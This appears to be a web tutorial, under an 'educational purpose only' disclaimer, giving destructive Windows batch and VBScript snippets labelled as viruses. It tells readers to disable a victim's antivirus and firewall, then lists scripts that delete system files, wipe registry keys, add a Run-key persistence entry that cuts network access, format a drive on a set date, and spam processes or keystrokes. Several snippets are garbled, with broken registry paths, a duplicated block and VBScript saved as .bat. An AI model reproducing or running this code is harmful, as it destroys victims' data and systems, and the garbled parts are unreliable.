Virus Writing

Virus Writing

NOTE : THIS TUTORIAL IS FOR EDUCATIONAL PURPOSE ONLY .

Hello friends. Today in this tutorial we are going to learn to write various types of virus. If not careful it may damage your system so do it at your own risk. I will not be responsible for any damage caused by it.

REQUIREMENTS:-

1. COMPUTER / LAPTOP .
2. Notepad application
3. PEN-DRIVE ( To save coded virus ) . 

Turn off the antivirus/windows defender & firewall of victim’s laptop.

This virus will crash the window:- 

Open notepad and type following code.

@Echo off
Del C:\ *.* |y

Save The Above Code in a .bat file format.

This virus will delete the registry file:-

Open notepad and type following code.

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been hacked.

Save The Above Code in a .bat file format.

This virus deletes all the content of a drive:- 

Open notepad and type following code.

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code in a .bat file format.

This virus disables the internet permanently:- 

Open notepad and type following code.

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save The Above Code in a .bat file format.

This virus will create endless notepads:-

Open notepad and type following code.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save The Above Code in a .bat file format.

This virus will create a time bomb:-

Open notepad and type following code.

If %date% NEQ 2018/11/25 goto exit
format E: /y >nul
:exit
exit

Save The Above Code in a .bat file format.

You can change the date in the code to specify the infection time.

This virus will make caps lock on/off continuously:-

Open notepad and type following code.

Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Save The Above Code in a .bat file format.

This virus will make enter button continuously on:-

Open notepad and type following code.

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Save The Above Code in a .bat file format.

This virus will make backspace button continuously on:-

Open notepad and type following code.

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Save The Above Code in a .bat file format.

This virus will make backspace button continuously on:-

Open notepad and type following code.

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Save The Above Code in a .bat file format.

Have quarries ?  Please leave us a message we will contact you as soon as possible.

 

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